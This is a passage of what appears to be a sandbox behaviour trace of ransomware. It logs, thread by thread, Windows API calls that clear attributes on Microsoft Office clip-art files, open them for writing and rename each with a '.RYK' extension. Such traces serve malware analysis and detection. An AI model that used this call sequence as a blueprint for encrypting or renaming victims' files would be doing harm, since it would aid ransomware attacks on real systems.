	[0234.019] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00441_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00441_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00441_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00441_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1456
	os_tid = 0x1cc8

	[0233.780] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00442_.WMF", dwFileAttributes=0x80) returned 0
	[0233.895] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00442_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00442_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0233.990] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0233.990] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00442_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00442_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00442_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00442_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1457
	os_tid = 0x1ccc

	[0233.781] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00443_.WMF", dwFileAttributes=0x80) returned 0
	[0233.895] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00443_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00443_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0233.991] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0233.992] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00443_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00443_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00443_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00443_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1458
	os_tid = 0x1cd0

	[0233.781] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00444_.WMF", dwFileAttributes=0x80) returned 0
	[0233.833] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00444_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00444_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0234.020] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0234.020] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00444_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00444_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00444_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00444_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1459
	os_tid = 0x1cd4

	[0233.782] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00445_.WMF", dwFileAttributes=0x80) returned 0
	[0233.833] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00445_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00445_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0234.022] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0234.022] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00445_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00445_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00445_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00445_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1460
	os_tid = 0x1cd8

	[0233.782] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00453_.WMF", dwFileAttributes=0x80) returned 0
	[0233.894] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00453_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00453_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0233.993] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0233.993] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00453_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00453_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00453_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00453_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1461
	os_tid = 0x1cdc

	[0233.783] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01080_.WMF", dwFileAttributes=0x80) returned 0
	[0233.831] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01080_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01080_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0234.024] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0234.024] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01080_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01080_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01080_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01080_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1462
	os_tid = 0x1ce0

	[0233.784] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01603_.WMF", dwFileAttributes=0x80) returned 0
	[0233.893] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01603_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01603_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0233.994] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0233.994] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01603_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01603_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01603_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01603_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1463
	os_tid = 0x1ce4

	[0233.823] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01634_.WMF", dwFileAttributes=0x80) returned 0
	[0234.038] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01634_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01634_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0234.038] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0234.038] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01634_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01634_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01634_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01634_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1464
	os_tid = 0x1ce8

	[0233.824] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01635_.WMF", dwFileAttributes=0x80) returned 0
	[0234.035] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01635_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01635_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0234.036] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0234.036] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01635_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01635_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01635_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01635_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1465
	os_tid = 0x1cec

	[0233.838] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01636_.WMF", dwFileAttributes=0x80) returned 0
	[0234.007] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01636_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01636_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0234.007] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0234.007] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01636_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01636_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01636_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01636_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1466
	os_tid = 0x1cf0

	[0233.839] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01637_.WMF", dwFileAttributes=0x80) returned 0
	[0234.005] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01637_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01637_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0234.005] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0234.005] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01637_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01637_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01637_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01637_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1467
	os_tid = 0x1cf4

	[0233.840] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01638_.WMF", dwFileAttributes=0x80) returned 0
	[0234.003] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01638_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01638_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0234.004] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0234.004] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01638_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01638_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01638_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01638_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1468
	os_tid = 0x1cf8

	[0233.840] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01639_.WMF", dwFileAttributes=0x80) returned 0
	[0234.002] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01639_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01639_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0234.002] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0234.002] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01639_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01639_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01639_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01639_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1469
	os_tid = 0x1cfc

	[0233.841] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CARBN_01.MID", dwFileAttributes=0x80) returned 0
	[0234.000] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CARBN_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\carbn_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0234.000] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0234.001] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CARBN_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\carbn_01.mid"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CARBN_01.MID.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\carbn_01.mid.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1470
	os_tid = 0x1d00

	[0233.844] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CG1606.WMF", dwFileAttributes=0x80) returned 0
	[0234.126] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CG1606.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\cg1606.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0234.126] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0234.126] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CG1606.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\cg1606.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CG1606.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\cg1606.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1471
	os_tid = 0x1d04

	[0233.844] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC1.WMF", dwFileAttributes=0x80) returned 0
	[0234.095] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC1.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\classic1.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0234.136] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0234.136] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC1.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\classic1.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC1.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\classic1.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1472
	os_tid = 0x1d08

	[0233.845] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC2.WMF", dwFileAttributes=0x80) returned 0
	[0234.095] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC2.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\classic2.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0234.137] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0234.137] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC2.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\classic2.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC2.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\classic2.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1473
	os_tid = 0x1d0c

	[0233.846] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLIP.WMF", dwFileAttributes=0x80) returned 0
	[0233.997] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLIP.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\clip.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0233.997] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0233.997] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLIP.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\clip.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLIP.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\clip.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1474
	os_tid = 0x1d10

	[0233.847] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CMNTY_01.MID", dwFileAttributes=0x80) returned 0
	[0234.094] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CMNTY_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\cmnty_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0234.139] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0234.139] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CMNTY_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\cmnty_01.mid"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CMNTY_01.MID.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\cmnty_01.mid.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1475
	os_tid = 0x1d18


Thread:
	id = 1477
	os_tid = 0x1d14

	[0233.932] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANE.WMF", dwFileAttributes=0x80) returned 0
	[0234.074] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANE.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\crane.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0234.168] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0234.168] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANE.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\crane.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANE.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\crane.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1478
	os_tid = 0x1d20

	[0233.934] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANINST.WMF", dwFileAttributes=0x80) returned 0
	[0234.074] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANINST.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\craninst.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0234.166] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0234.166] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANINST.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\craninst.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANINST.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\craninst.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1479
	os_tid = 0x1d24

	[0233.935] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUP.WMF", dwFileAttributes=0x80) returned 0
	[0234.075] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUP.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\cup.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0234.164] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0234.164] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUP.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\cup.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUP.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\cup.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1480
	os_tid = 0x1d28

	[0233.937] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUPINST.WMF", dwFileAttributes=0x80) returned 0
	[0234.075] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUPINST.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\cupinst.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0234.162] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0234.162] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUPINST.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\cupinst.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUPINST.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\cupinst.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1481
	os_tid = 0x1d2c

	[0233.938] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00117_.WMF", dwFileAttributes=0x80) returned 0
	[0234.076] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00117_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00117_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0234.160] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0234.160] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00117_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00117_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00117_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00117_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1482
	os_tid = 0x1d30

	[0233.940] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00121_.WMF", dwFileAttributes=0x80) returned 0
	[0234.077] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00121_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00121_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0234.159] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0234.159] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00121_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00121_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00121_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00121_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1483
	os_tid = 0x1d34

	[0233.941] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00234_.WMF", dwFileAttributes=0x80) returned 0
